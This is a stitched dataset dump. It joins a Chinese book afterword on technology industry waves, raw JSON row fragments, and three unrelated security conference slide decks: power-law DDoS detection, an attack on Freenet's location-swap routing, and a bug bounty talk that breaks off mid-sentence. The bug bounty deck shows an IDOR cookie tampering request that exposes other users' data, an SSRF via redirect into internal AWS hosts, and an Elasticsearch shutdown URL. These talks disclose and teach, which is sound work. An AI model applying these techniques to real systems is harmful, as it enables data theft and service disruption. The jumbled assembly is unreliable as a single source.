535商业价值。它的在线支付财付通，虽然落后于阿里巴巴的同类产品，但是市场规模和阿里巴巴在一个数量级。此外，腾讯在无线业务方面起步很早，在中国同行中优势很明显。它的网络游戏已经超过中国任何一家单独上市的游戏公司。腾讯通过把握住每一个终端用户，把所有这些服务连到了一起，成为了一个全方位的互联网公司。可以不夸张地讲， 它正在通过互联网，把整个现实社会虚拟化。如果腾讯能够坚持走技术路线，在一到两个领域做到世界领先，那么它将是中国第一个进入千亿俱乐部的科技公司。\n中国的公司怎样才能将上述的可能性变成现实性呢？ 它们需要在法律和商业道德、国际化和创新性上得到根本的提升。法律上的问题这里就不多讲了，实际上由于没有对版权的保护， 毁掉了整个中国的软件业。由于没有对奸商予以极刑的处罚制度， 中国至今很难有高质量的世界品牌。国际化的重要性不难理解，一家跨国公司肯定不能只为一个国家服务。而在创新性方面，亚太罔家，尤其是中国相比美国有明显的不足。除日本以外的亚洲国家经济的快速发展， 至今主要靠勤劳而年轻的劳动大军，而不是靠创新力。\n而过去以仿制出名的日本，现在在创新上已经是世界一流了。虽然很多人可能要挑战我的上述观点，但是我很遗憾地讲这是事实。中国在四大发明之后，除了杂交水稻， 对全球科学和技术革命性的贡献几乎为零。130 年前，美国取代英国成为世界第一强国的时候，依靠的不是任何资本泡沫，而是爱迪生和西屋（发明电和交流供电）、贝尔（发明电话）、福特（发明汽车）、怀特兄弟（发明飞机）等这样一大批在世界文明史上占有重要位置的发明家，以及洛克菲勒（石油）、卡内基（钢铁）、杜邦（ 化工）等搞实业的工业巨子。当然，爱迪生、西屋、贝尔和福特自己也是有史以来最有影响力的实业家。他们从事的都是前无古人的事业。科技的进步，不可能通过房地产泡沫， 或者股市泡沫来实现。\n中国的现实问题是， 人们似乎不需要靠科技的进步和实业就可以取得财富。看看中罔富豪榜的构成，有几个人是贝尔、福特这样的发明家，又有几个是洛克菲勒和卡内基这样的实业家。几乎所有富豪们的财富，或者来自于股市，或者来自于房市。当人们不再把房市、股市作为最快的挣钱手段时，就是中国可以诞生下一个Google 的时候了。\n从经济的发展来看，中国诞生许多世界品牌和跨国公司是历史的必然，这个任务将落到年轻人身上。但是，目前最大的障碍是全中国非常缺乏各种顶级的技术人员，因为几乎所有的年轻人工作不了几年就去做管理了。\n这种社会风气不是短期可以扭转的。最快的解决方法就是从世界各地引进顶级技术和管理人才。有了人才有了经济的发展， 中国就会诞生下一个Google。\n结束语\n科技产业最让人振奋的是，有新一代技术的革命同时伴随着新一代公司的诞生，这个时间可能会很长，但终究会来到。而代表新的技术的公司有时是新生的，有时却是以前的公司进化而来， 不论是哪一种都足以让人振奋。\n寻找下一个这样的机会永远是和所有现代生活相关的人追求或谈论的主题。\n后记\n很多人读了《浪潮之巅》后都问我，作为一个计算机科学家，你为什么会对商业如此关注。甚至有人以为我是Google里研究经济的科学家。\n我想，可能是因为国内宣传的原因，科学家在人们心目中一直是带着厚厚的眼镜，言语木纳、不食人间烟火的人，在英语里叫Nerd。其实不然，在“浪潮之巅”中我们看到的很多科学家，包括斯坦福大学的校长亨尼西院士，太阳公司的创始人贝托谢姆，DSL之父乔菲院士，WebEx的创始人朱敏，以及大家熟悉的李开复，都是在商业上非常敏锐（Business Savvy）的人；而很多商业巨子，自己也是科学家，比如Google的前CEO施密特博士，是Unix常用工具Lex的作者，美国工程院院士。\n当然，人的商业知识和眼光不是天生的，需要不断地、有心地学习。Google早期的时候，创始人拉里·佩奇经常是一边和我们一起吃晚饭，一边研究着某个公司的财务报告，一边和我们谈他的体会。Google最早的许多员工同样对商业很感兴趣。当然，要系统了解商业，就需要有专业的老师。因此，我要感谢在我周围的很多专业人士，包括投资银行的基金经理，风险投资公司的投资家，跨国科技公司的执行官，以及很多成功企业的创始人，这些朋友都是我的老师。我用心去了解商业的规律，本意是为了投资；不仅仅是为了让我管理的基金投资有好的会报，更重要的是让我一生的时间投资有效。对我来讲，时间才是我最大的财富，我要把它投到最有意义、最有影响的地方去。经过我的学习、思考和实践，我认定这样一个规律：科技的发展不是均匀的，而是以浪潮的形式出现。对个人来讲，看清楚浪潮，赶上浪潮，便不枉此生。\n读者们问我的第二个问题是，我为什么要写《浪潮之巅》。\n我的初衷是为了让中国的读者了解美国，了解科技产业，而不是写一部IT史记。正如大部分美国人不了解中国一样，很多中国人也不了解美国。中国人对美国的了解很多来自于好莱坞的电影、麦当劳、名牌时装和化妆品；2008年以后还包括了金融危机、债务、霸权等很多负面因素。这些东西固然是美国生活的一部分，但是，也仅仅是一部分。科技公司、创新力以及商业的公平性也是美国的一面，而且是更重要的一面。正巧2007年，Google中国黑板报给我提供了这么一个版面，让我有机会向中国的读者介绍世界级的科技公司以及它们的成长规律。\n科技工业和传统工业不同，它的发展很快，能够赶上和抓住机会的人是少数人，我们早年使用的很多科技产品，包括卡式录音机、录像机、胶卷照相机、针式打印机、计算机的软磁盘、CTR的电视机和显示器，现在已经消失了，而我们的子孙只有在博物馆里才能找到它们。当然，和它们相关的技术也就不再需要了，这让很多风光一时的公司落伍，很多专家被淘汰。中国有句古话“女怕嫁错郎，男怕入错行”，的确如此。我写这些内容的目的之一是希望帮助更多的人看清科技工业的发展规律，抓住机遇。\n科技工业的快速变化，给我的写作带来不少麻烦，以至于我从起笔到完成所有的章节，很多情况都发生了巨大的改变，因此，我在完稿时不得不做很多的补充和修正。但是我在很多章节里都保留了最初的文本，以便读者对照，看到科技工业的变化，也看到我思考问题的方法。\n读者们经常问我的第三个问题是，“你的写作是和谁学的，因为很多学文科的人，写出来的东西也不如你生动。”\n谈到写作，我在这里要感谢两个人。第一个是我高中的语文老师余顺吾先生，他曾经是一位编辑。几乎所有的中学生，为了文章写得漂亮，常常苦思冥想编造动人的情节，寻找华丽的词藻。我也曾经是一个这样的人，但是我的这位语文老师用了两年多的时间彻底改变了我写作的方法。他让我关注内容，让我用朴实的文风表达自己的体会。第二个人是我在美国的导师库坦普（Sanjeev Khudanpur）教授，他训练了我讲话和写作的逻辑性，比如如何立论，并且用论据支持论点。他是一位细节大师，要求我做到在公众场合讲话时，不多说哪怕是一句废话，不落掉任何一句关键的话。其实，要想写得好，首先要说得清楚。然后，再用大家喜欢的语言，把要说的话描述出来，就形成了好的作品。\n第四个经常被问到的问题是，美国是否没落了，21世纪是否是中国的世纪。\n这个问题很难回答。我个人的看法是美国依然会很强大，虽然它可能没有半个世纪前强大。从以下表中所列的改变世界的发明，我们可以看到，今天的美国依然是世界上最有科技竞争力的国家。其实即使在经济上，美国的问题也远没有大多数中国人想象的那么严重（比如，美元的发行量其实比人民币少很多，这个我会在今后的博客或者书中讲）。中国成为G2中另一极的希望很大，能否成功，关键要看是否能像日本那样有真正开放的心态，积极吸收世界各国文明的精髓。如果要想超越美国，路程还很长，大家要有信心和耐心。希望在一个世纪之后，后人再次填写这样一张表格时，在“国家”这一栏大部分填的是中国。\n近二百年主要的技术革命 发明 年代\n主要贡献者\n国家\n电报\n1830\n莫尔斯\n美国\n电灯和电的普遍使用\n1860\n爱迪生和GE公司，西屋和西屋电气公司 美国\n电话\n1880\n贝尔，华生，ATT公司\n美国\n石油和化学工业\n1870-1900\n洛克菲勒，杜邦和他们的公司 美国\n汽车\n1900\n奔驰、福特以及他们的公司\n德国，美国\n飞机\n1900\n怀特兄弟，波音公司\n美国\n无线电\n1900\n马可尼，GE公司\n意大利，美国\n原子能\n1940\n费米，爱因斯坦，奥本海默，洛斯阿莫斯实验室，GE公司，西屋电气意大利（美国），德国，美国 电子计算机\n1940\n图灵，冯?诺依曼，毛奇利，埃克特，IBM公司 英国、美国\n半导体\n1960\n贝尔实验室，八叛徒\n美国\n移动通信\n1970\n摩托罗拉公司\n美国\n个人电脑\n1980\n乔布斯，Intel公司，IBM公司，微软公司 美国\n互联网\n1980-2000\nNSF，雅虎公司，思科公司，Google公司 美国\n云计算\n2000-2010\nGoogle公司，亚马逊公司，Facebook公司 美国"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":26,"cells":{"text":{"kind":"string","value":"PEIMA: Using Power Laws to \naddress Denial of Service \nAttacks \nREDEZEM\nWho Am I?\n Stefan Prandl\n PhD student, Curtin University\n That’s in Perth, Australia\n Networks and Network Security\n Also work with ES2 as a security \nconsultant\n Been breaking stuff since a young \nage\nContents\n The stuff you’ve just seen\n Introduction to Power Laws\n What we’ve been doing; DDoS Defence\n What else you can do:\n IDS\n Diagnostics\n User ID-ing\n Then we’ll look at this tool thing I’ve thrown together\n Demo of what you can do\nIntroduction to Power Laws\n Natural processes, they’re \nstatistical\n Things descriptive of natural \nprocesses follow power laws\n When they don’t, something’s \nwrong\n Not all natural processes are \nnatural!\n Eg., Financial transactions\n You can use power laws to detect \nfraud.\nOr more honestly, power law probability distributions\nThat’s a mouthful though\nWhy does that matter?\n Somehow network traffic is \n“natural”\n Good lord the machines are alive!\n So power laws must apply\n If they don’t, something is wrong\n Some power laws can be hard \ncoded\n Extremely fast and low cost \nanomaly detection!\nBenford’s Law\n Simple and awesome power law\n If it’s a number…\n Generated by a process…\n Process is natural…\n We know what the probability of \nthe first digit is!\n Never changes, you can hard \ncode it.\n Such speed. Wow.\nWhat we’ve been doing:\nDDoS Defence\n The more artificial the packet, the \nworse the anomaly\n Flood DDoS (Amplification, tcp, \nudp, http, etc attack) are very \nloud\n Can be clearly seen in gestalt \nconnection data\n Practically instantaneous\n Real time in 100Mbit/1000Mbit \nscenarios (probably much more)\n No training at all\nHow we do it\n Detection processes Tcpdump\ndata\n Extracts features\n Power law analysis tells us \n“Goodness”\n Print out to csv with timestamp\n Or throw an alarm and do \nsomething\n Iptables maybe.\nWhat you can do with that\n Watch for DDoS attacks\n Probably won’t save your network\n Can determine if someone is using \nyour pc\n “DDoS zombie!” instead of “WTF is \nthis”\n Determine between attack types \ntoo\nWhat else you can do: IDS\n DoS isn’t the only kind of \ndisturbance on a network\n Obviously we don’t know what all \nof them are\n Strap learning agent to output\n Tell it to make decisions\n Should (at the very least) detect \nactive recon, even at slow speeds\nWhat else you can do: Diagnostics\n Changes in traffic across a \nnetwork change “power law \nprofile”\n Are all the changes where you \nexpect?\n Is someone doing something to \nyour systems when they’re not \naround?\nWhat else you can do: User ID-ing\n Natural systems aren’t just \nnetworks!\n User interaction with computer is \ntoo\n You can profile their keystrokes\n Profile your keystrokes\n Have your own laptop/pc as a \nhoneypot.\nWhat else you can do: Probably \nLots More\n Very early days for power law \nbased analysis\n Possible that all kinds of computer \nmetrics are power law compliant\n Experiment!\n It’s cheap, fast, and simple, so why \nnot?\nAnd now, a tool that you can go experiment with\nGET IT AT HTTPS://BITBUCKET.ORG/REDEZEM/PEIMAULTRALITE\nAnd now, a magic trick\nBROUGHT TO YOU BY THE POSSIBILITIES OF POWER LAW ANALYSIS\nThanks To…\nAlso contact me: redezem@gmail.com\n Thanks to my supervisory team\n Curtin University\n Assoc. Prof Mihai Lazarescu\n Dr Sonny Pham\n Dr Sie Teng Soh\n Oklahoma State University\n Professor Subhash Kak\n And big thanks to my engineering team that built the demo\n Luke Healy\n Josh Yeo\n Jordan Truswell"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":27,"cells":{"text":{"kind":"string","value":"Routing in the Dark: Pitch Black\nNathan S. Evans\nChristian Grothoff\nNathan.S.Evans@du.edu\nchristian@grothoff.org\nColorado Research Institute for Security and Privacy\nUniversity of Denver\n1\nMotivation\n• Efficient fully decentralized routing in restricted-route topologies is\nimportant:\n– Friend-to-friend (F2F) networks (“darknets”)\n– WiFi ad-hoc and sensor networks\n– Unstructured networks\n• Clarke & Sandberg claim to achieve O(log n) routing in the dark\n(Freenet 0.7)\n• Is this new routing protocol reasonably resistant against attacks?\n2\nMotivation\n• Efficient fully decentralized routing in restricted-route topologies is\nimportant:\n– Friend-to-friend (F2F) networks (“darknets”)\n– WiFi ad-hoc and sensor networks\n– Unstructured networks\n• Clarke & Sandberg claim to achieve O(log n) routing in the dark\n(Freenet 0.7)\n• Is this new routing protocol reasonably resistant against attacks?\nNope!\n3\nFreenet 101\n• Freenet is a ’anonymous’ peer-to-peer network\n• Overlay based on cyclic address space of size 232\n• Nodes have a constant set of connections (F2F)\n• All data identified by a key (modulo 232)\n• Data assumed to be stored at closest node\n• Routing uses depth first traversal in order of proximity to key\n4\nRouting in the Dark\n• Small world network assumption\n– Sparsely connected graph\n– There exists a short path (O(log N)) between any pair of nodes\n– Common real world phenomenon (Milgram, Watts & Strogatz)\n• Freenet’s routing algorithm attempts to find short paths\n– Uses locations of nodes to determine proximity to target\n– Uses swapping of locations to structure topology\n5\nSwap Example\n0.60\n0.10\n.50\n0.90\nSwap?\n0.30\n.60\n0.45\n0.85\n0.40\n.25\n0.25\n.65\n6\nResult of Swap\n0.90\n0.10\n0.80\n0.60\n0.30\n0.30\n0.45\n0.85\n0.40\n0.05\n0.25\n0.35\n7\nLocation Swapping\n• Nodes swap locations to improve routing performance\n• Each connected pair of nodes (a, b) computes:\nPa,b :=\n(a,o)∈E\n|La − Lo| ·\n(b,p)∈E\n|Lb − Lp|\n(a,o)∈E\n|Lb − Lo| ·\n(b,p)∈E\n|La − Lp|\n(1)\n• If Pa,b ≥ 1 the nodes swap locations\n• Otherwise they swap with probability Pa,b\n8\nRouting of GET Requests\nGET requests are routed based on peer locations and key:\n1. Client initiates GET request\n2. Request routed to neighbor with closest location to key\n3. If data not found, request is forwarded to neighbors in order of\nproximity to the key\n4. Forwarding stops when data found, hops-to-live reaches zero or\nidentical request was recently forwarded (to avoid circular routing)\n⇒ Depth-first routing in order of proximity to key.\n9\nGET 1/7\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 1: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n10\nGET 2/7\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 2: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n11\nGET 3/7\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 3: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n12\nGET 4/7\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 4: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n13\nGET 5/7\n0.90\n0.10\n0.60\n0.30\n0.25 Found!\n0.45\n0.85\n0.40\nFigure 5: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n14\nGET 6/7\n0.90\n0.10\n0.60\n0.30\n0.25\n0.45\n0.85\n0.40\nFigure 6: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n15\nGET 7/7\n0.90\n0.10\n0.60\n0.30\n0.25\n0.45\n0.85\n0.40\nFigure 7: A GET request from node 0.90 searching for data with\nidentifier 0.22 (which is stored at node identified by 0.25)\n16\nPUT Requests\nPUT requests are routed in a similar fashion as GET requests:\n1. Client initiates PUT requests\n2. Request routed to neighbor closest to the key\n3. If receiver has any peer whose location is closer to the key, requests\nis forwarded\n4. If not, the node resets the hops-to-live to the maximum and sends\nthe put request to all of its’ neighbors\n5. Routing continues until hops-to-live reaches zero (or node has seen\nrequest already)\n17\nPut Example\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 8: Put example from node with ID 0.25 inserting data identified\nby the ID 0.93\n18\nPut Example 1/3\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 9: Put example from node with ID 0.25 inserting data identified\nby the ID 0.93\n19\nPut Example 2/3\n0.90\n0.10\n0.60\n0.30\n0.45\n0.85\n0.40\n0.25\nFigure 10:\nPut example from node with ID 0.25 inserting data\nidentified by the ID 0.93\n20\nPut Example 3/3\n0.90\n0.10\n0.60\n0.85\n0.30\n0.45\n0.40\n0.25\nFigure 11:\nPut example from node with ID 0.25 inserting data\nidentified by the ID 0.93\n21\nBasic Idea for the Attack\n• Freenet relies on wide spread of node locations for data storage\n• Reducing the spread of locations causes imbalance in storage\nresponsibilities\n• Peers cannot verify locations in swap protocol, including location\nthey may receive\n⇒ use swap protocol to reduce spread of locations!\n22\nAttack Details\n• Initialize malicious nodes with a specific location\n• If a node swaps with the malicious node, the malicious node resets\nto the initial location (or one very close to it)\n• This removes the “good” node location and replaces it with one of\nthe malicious nodes choosing\n• Each time any node swaps with the malicious node, another location\nis removed and replaced with a “bad” location\n• Bad location(s) spread to other nodes through normal swapping\nbehavior\n• Over time, the attacker creates large clusters of nodes around a\nfew locations\n23\nAttack Implementation\n• Malicious node uses Freenet’s codebase with minor modifications\n• Attacker does not violate the protocol in a detectable manner\n• Malicious nodes behave as if they had a large group of friends\n• Given enough time, a single malicous node can spread bad locations\nto most nodes\n• Using multiple locations for clustering increases the speed of\npenetration\n24\nExperimental Setup\n• Created testbed with 800 Freenet nodes\n• Topology corresponds to Watts & Strogatz small world networks\n• Instrumentation captures path lengths and node locations\n• Content is always placed at node with closest location\n• Nodes have bounded storage space\n25\nDispersion Example with 800 Nodes\nFigure 12:\nPlot of node\nlocations before attack.\nFigure 13:\nPlot of node\nlocations after attack.\n26\nData Loss Example (2 attack nodes)\n 0\n 20\n 40\n 60\n 80\n 100\n 0\n 50\n 100\n 150\n 200\n% data loss\nTime\nAverage Loss over with Std. Dev.\nFigure 14: Graph showing average data loss over 5 runs with 800\nnodes and 2 attack nodes using 8 bad locations with the attack\nstarting after about 2h.\n27\nData Loss Example (4 Attack nodes)\n 0\n 20\n 40\n 60\n 80\n 100\n 0\n 50\n 100\n 150\n 200\n% data loss\nTime\nAverage Loss over time with Std. Dev.\nFigure 15: Graph showing average data loss over 5 runs with 800\nnodes and 4 attack nodes using 8 bad locations with the attack\nstarting after about 2h.\n28\nData Loss Example (8 Attack nodes)\n 0\n 20\n 40\n 60\n 80\n 100\n 0\n 50\n 100\n 150\n 200\n% data loss\nTime\nAverage Loss over time with Std. Dev.\nFigure 16: Graph of typical data loss from 1 run with 800 nodes and\n8 attack nodes using 8 bad locations with the attack starting after\nabout 2h.\n29\nHow to protect against this?\n• Check how frequently a node swaps similar locations?\n• Limit number of swaps with a particular peer?\n• Determine a node is malicious because its’ location is too close?\n• Periodically reset all node locations?\n• Secure multiparty computation for swaps?\nIn F2F networks, you can never be sure about the friends of your\nfriends!\n30\nConclusion\n• Freenet’s routing algorithm is not robust\n• Adversaries can easily remove most of the content\n• Attack exploits location swap, where nodes trust each other\n• Swap is fundamental to the routing algorithm\n• Attack code available at http://crisp.cs.du.edu/pitchblack/\nNatural churn causes similar clustering of node locations. For details,\nread our paper!\n31\nQuestions?\n32\nRouting Path Lengths\n 30\n 40\n 50\n 60\n 70\n 80\n 90\n 100\n 0\n 50\n 100\n 150\n 200\nAverage Path Length\nRun number\n\"avgroutes\"\n33"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":28,"cells":{"text":{"kind":"string","value":"Scrutiny on the bug bounty \n(pun hall of fame plz)\nNathaniel Wakelam & Shubham Shah\nWho are we?\nNathaniel Wakelam (naffy)\nApplication Security \nConsultant @ Trustwave \nTwitter: @nnwakelam\nEmail: nnwakelam@gmail.com\nShubham Shah (shubs)\nSenior Security Analyst @ \nBishop Fox\nTwitter: @infosec_au\nEmail: sshah@assetnote.io\nWe’ve been participating in bug bounties for around three years now.\nWho are we?\nIf anyone remembers Captain Underpants, this is essentially us:\nThe usual rundown\n- What are bug bounties?\n- Why did we start participating?\n- What are we covering today?\nOur core methodology: Large scale asset identification\n●\nWhat matters most is that you find the assets that have bugs before other hunters \ndo. \n●\nThink of it as offensive incident response. \n●\nWe watch a company closely and as soon as they put new assets or content up, we \ngo after them.\n●\nInvest in multiple bounties that you trust and ensure that their entire scope is \ncovered.\nBut… how? -- #1 Elasticsearch + Masscan (scantastic)\n●\nhttps://github.com/maK-/scantastic-tool - created by a cool Irish friend of ours\n○\nInput a list of IP ranges on a network\n○\nScans every range via Masscan for ports that you define\n○\nPerforms content discovery (file/folder bruteforcing) on every discovered \nasset\n○\nImports the results into Elasticsearch via Logstash\n○\nLet’s you visually search and discover content on large IP ranges\n●\nPros: Allows you to minimize brute forcing, allows you to find cool stuff without \nreally trying\n●\nCons: Gets you permanently temporarily banned from Yahoo’s bug bounty \nprogram\nBut… how? -- #2 DNS pattern identification (AltDNS)\n●\nFrom analyzing gathered DNS data for numerous bounty programs, we identified \ndifferent patterns used by organizations to classify their subdomain assets.\n●\nFor example, for a private program on HackerOne, we were finding subdomains \nnamed like the following:\n○\nprivacy-staging.corporatedomain.com\n○\nprivacy.staging.corporatedomain.com\n○\nprivacystaging.corporatedomain.com\n○\nstagingprivacy.corporatedomain.com\n●\nEven though we’d identify some of these subdomains through \nenumeration/bruteforcing - we’d miss quite a few QA/Dev/Staging instances.\nBut… how? -- #2 DNS pattern identification (AltDNS)\n●\nSo… after some back and forth, we created a simple tool called AltDNS..\n●\nProvide a list of known subdomains and a list of common QA/Dev words, AltDNS \nwill output a list of potential subdomains we may have missed based on the \npatterns we identified.\n●\nAltDNS takes the list of known subdomains and outputs a list where the common \nQA/Dev words have been placed as per common patterns seen in subdomains.\n#2 DNS Pattern Identification Results (AltDNS)\n●\nWe provided a list of ~900 subdomains \nbelonging to an organization.\n●\nWe provided a list of roughly ~130 words \nthat were commonly found in DNS records \nfor staging/QA/dev instances.\n●\nPassed both of these lists into AltDNS, which \nthen altered, permuted and modified our \noriginal list of subdomains with the common \nwords to produce a total list of “potential” \nsubdomains.\n●\nAltDNS generated a total of 5264017 unique \nnew “potential” subdomains to check for.\n●\nAfter resolving the 5264017 unique \nnew “potential” subdomains, we were \nable to find ~1400 new subdomains.\n●\nThat’s…. A lot of new assets….\n●\nGithub:\nhttps://github.com/infosec-au/altdns\n# ./altdns.py -i data/subdomains.txt -o data_output -w words.txt -r -s results_output.txt\n#2 DNS Pattern Identification Results (Altdns)\n#3 General Pattern Identification\nWhen discovering assets, it is important to look for trends between hosts, such as \nunique hosts (CDN/serving host) or unique information disclosures, you can use to \nhelp you fingerprint hosts. \n#4 Passive identification and alerts (Assetnote)\n●\nFinding security issues is one part of the bug bounty spectrum, another major part \nis being the first person to find them.\n●\nDuplicate issues == time wasted and no money gained. Let’s reduce that.\n●\nWouldn’t it be great if we knew about an asset (subdomain or host) as soon as it \nwas put online?\n●\nYou enter in a domain to monitor, Assetnote keeps track of the domain and runs \ndaily passive scans. If new domains are found, a push notification is sent to you.\n#4 Passive identification and alerts (Assetnote)\n●\nE.g. Threatcrowd’s passive data store (free for everyone to use):\n○\nhttp://threatcrowd.org/searchApi/v2/domain/report/?domain=uber.com\n○\nReturns a JSON output with a list of identified subdomains, to date\n●\nScript created to scrape this API endpoint\n●\nScript is ran daily via Cron for every \ndomain “monitored” through assetnote\n●\nA push notification sent to you upon \ndiscovering any new subdomain\n#4 Passive identification and alerts (Assetnote)\n●\nGithub: https://github.com/infosec-au/assetnote\n#4 Passive identification and alerts (Assetnote)\n●\nGithub: https://github.com/infosec-au/assetnote\n#4 Passive identification and alerts (Asset Note)\n●\nGithub: https://github.com/infosec-au/assetnote\n●\nTotal of ~780 assets discovered through passive \nanalysis, sent to me as a push notification.\n●\nHave woken up numerous times when asleep so \nthat I can hack on assets before others get to them.\n●\nYou’re basically on call. \nYou get a buzz on your phone.\nYou get out of bed.\nYou start hacking.\nYou report the found bugs.\nYou get paid.\n#4 Passive identification and alerts (Assetnote)\nNow that we’ve covered methodology.... \nLet’s see some bugs\n1.\n~200M user details access via one cookie ($13.37k)\n2.\nGlobal lookup of all Yahoo! users ($11.7k)\n3.\n~110k user details access via guessing parameters ($7k)\n4.\nCorporate wireless metadata on every Yahoo employee ($250)\n5.\nAccessing internal AWS infrastructure via a limited SSRF (payment to be decided)\n6.\nSubdomain hijack x 2 ($19.5k) in a phone call\n1. ~200M user details access… by modifying a cookie\nGET request to view the current players details:\nGET /player? HTTP/1.1\nHost: events.privatebugbounty.com\nAccept: application/json, text/javascript, */*; q=0.01\nCookie: __cfduid=d40c20fd5214deef9c93633e8ea1836b61444993920; \nping_session_id=fea5643f-e023-4c5a-880f-c881fd168792; \nN_TOKEN=GluZ3JheSIsInZvdWNoaW5nX2tleV9pZCI6IjkwMzQ3NTJiMmI0NTYwNDR\nhZTg3ZjI1OTgyZGFkMDdkIiwic2lnbmF0dXJlIjoibHZMcjRBMFoxSkNqVDZJNkJtM\nndaMFJjcVl6MkhOZS9iR3VrNDQwY0dNbFI2cjJUNVQ4TCtmMzZwNTVNR0VEYWEwUWd\nUaEJEQ0RXeWN1VzN1dGNESEV0NFZMRjFaRFBZWmY3bTV2Nkp6ZUw5RGxLZTFVSDBoT\nStkZm8vZzI5dzNtTWhON0pXTnV0RkkvUzFOc1c0QXFWSFZXbTZPOEt5a2J3bk9hR1h\nzWWVzPSJ9; N_ACCT=shubs; N_ID=200258342; N_LANG=en_US;\n1. ~200M user details access… by modifying a cookie\nHTTP response returned:\n\"user\":{\"name\":\"shubs\",\"email\":\"admin@shubh.am\",\"email_validated\":false,\"retrieval_t\nime\":\"2015-12-11T12:57:36.642Z\",\"s_id\":580327,\"tier\":null,\"division\":null}\n1. ~200M user details access… by modifying a cookie\nGET request to view the current players details:\nGET /player? HTTP/1.1\nHost: events.privatebugbounty.com\nAccept: application/json, text/javascript, */*; q=0.01\nCookie: __cfduid=d40c20fd5214deef9c93633e8ea1836b61444993920; \nping_session_id=fea5643f-e023-4c5a-880f-c881fd168792; \nN_TOKEN=GluZ3JheSIsInZvdWNoaW5nX2tleV9pZCI6IjkwMzQ3NTJiMmI0NTYwNDR\nhZTg3ZjI1OTgyZGFkMDdkIiwic2lnbmF0dXJlIjoibHZMcjRBMFoxSkNqVDZJNkJtM\nndaMFJjcVl6MkhOZS9iR3VrNDQwY0dNbFI2cjJUNVQ4TCtmMzZwNTVNR0VEYWEwUWd\nUaEJEQ0RXeWN1VzN1dGNESEV0NFZMRjFaRFBZWmY3bTV2Nkp6ZUw5RGxLZTFVSDBoT\nStkZm8vZzI5dzNtTWhON0pXTnV0RkkvUzFOc1c0QXFWSFZXbTZPOEt5a2J3bk9hR1h\nzWWVzPSJ9; N_ACCT=shubs; N_ID=200258200;\nN_LANG=en_US;\n1. ~200M user details access… by modifying a cookie\nHTTP response returned:\n\"user\":{\"name\":\"SomeRandomPersonsDetails\",\"email\":\"randomperson@hotmail.co\nm\",\"email_validated\":false,\"retrieval_time\":\"2015-12-11T12:58:20.642Z\",\"s_\nid\":580201,\"tier\":null,\"division\":null}\n1. ~200M user details access… by modifying a cookie\n$13,337.37 payout\n2. PROFESSIONAL HACKER TOOL NMAP\nWas hanging out on a Friday and couldn’t be bothered actually setting up anything so I \njust ran NMAP over some bullshit and went to the bar. Grabbed some Yahoo /24’s \nfrom Hurricane Electric and just ran them with some NSE scripts.\nOnly one that came out that had any content that was of interest was /index.php on \napiexplorer.contacts.gq1.yahoo.com. (api explorer, lol).\n...lo and behold... \n2. PROFESSIONAL HACKER TOOL NMAP\nWhat the f*** is this?\nThat was my first professional assessment.\nQuickly realized that it was a friendly frontend to communicate with Yahoo APIs \ninternally that conveniently had global auth tokens hardcoded. It supported \nfunctionality like calling APIs in different zones via inbuilt proxy support (which was \nalso full control Server Side Request Forgery). \nIn addition to gaining the ability to look up any Yahoo user via email, name, or phone \n(and also viewing particulars associated with their accounts) I believe that it was \ncapable of more, but I didn’t verify that as I didn’t want to get banned again. I do have \na photo of it in action though...\n3. Guessing endpoints and parameters to win $7k\n●\nReceive a notification about a new asset ->\nReverse engineer the android app ->\nDynamic analysis via Genymotion ->\nObserve API endpoints once auth’d ->\nGuess API endpoints??? ->\nWin $7.5k?\nLeads to an Android application\nAPI endpoints located at \n/api/v1.1/<endpoint>\n/api/v1.1/users?page=1 \n???\n3. Guessing endpoints and parameters to win 7k\n4. Corporate wireless metadata of every Yahoo employee \n1.\nCreate an “application” via https://create.privatebounty.com/create-app\n2.\nSpecify a “project URL” - we specify “https://shubh.am/” \n3.\nVerify the URL via hitting https://create.privatebounty.com/verify-url\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nThe application attempts to verify you own the URL specified in the “project \nURL” field by checking for a file called “app.txt” in the root directory of the \nwebsite specified.\n●\nIF the response code of “https://shubh.am/app.txt” is NOT a 200, the full HTTP \nresponse body of “https://shubh.am/app.txt” is returned on \nhttps://create.privatebounty.com/verify-url. \n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nWhat if we forced “https://shubh.am/app.txt” to be a 301 redirect to an \narbitrary URL?\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nResponse from https://create.privatebounty.com/verify-url:\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nSample data obtained from DNS bruteforcing *.privatebounty.com and \nthrough altdns:\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nWhat if we forced “https://shubh.am/app.txt” to be a 301 redirect to an \ninternal AWS elasticsearch host with an invalid elasticsearch query?\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nWhat if we forced “https://shubh.am/app.txt” to be a 301 redirect to an \ninternal AWS elasticsearch host with an invalid elasticsearch query?\n5. Accessing internal AWS infrastructure via a limited SSRF\n●\nDue to the AWS VPC that the host https://create.privatebugbounty.com was in, we \ncould access all other internal AWS hosts within that same VPC.\n●\nA somewhat limited SSRF turned into a very useful one.\n●\nDefault configurations for Elasticsearch instances have no authentication required.\n●\nWould have allowed for us to exfiltrate data from internal Elasticsearch instances \nvia the REST api, through the SSRF.\n●\nCan also trivially shutdown Elasticsearch instances via visiting \nhttps://elasticsearchinstance:9200/_shutdown\n●\nChaos and madness - over 150 internal hosts accessible through this SSRF\n5. Accessing internal AWS infrastructure via a limited 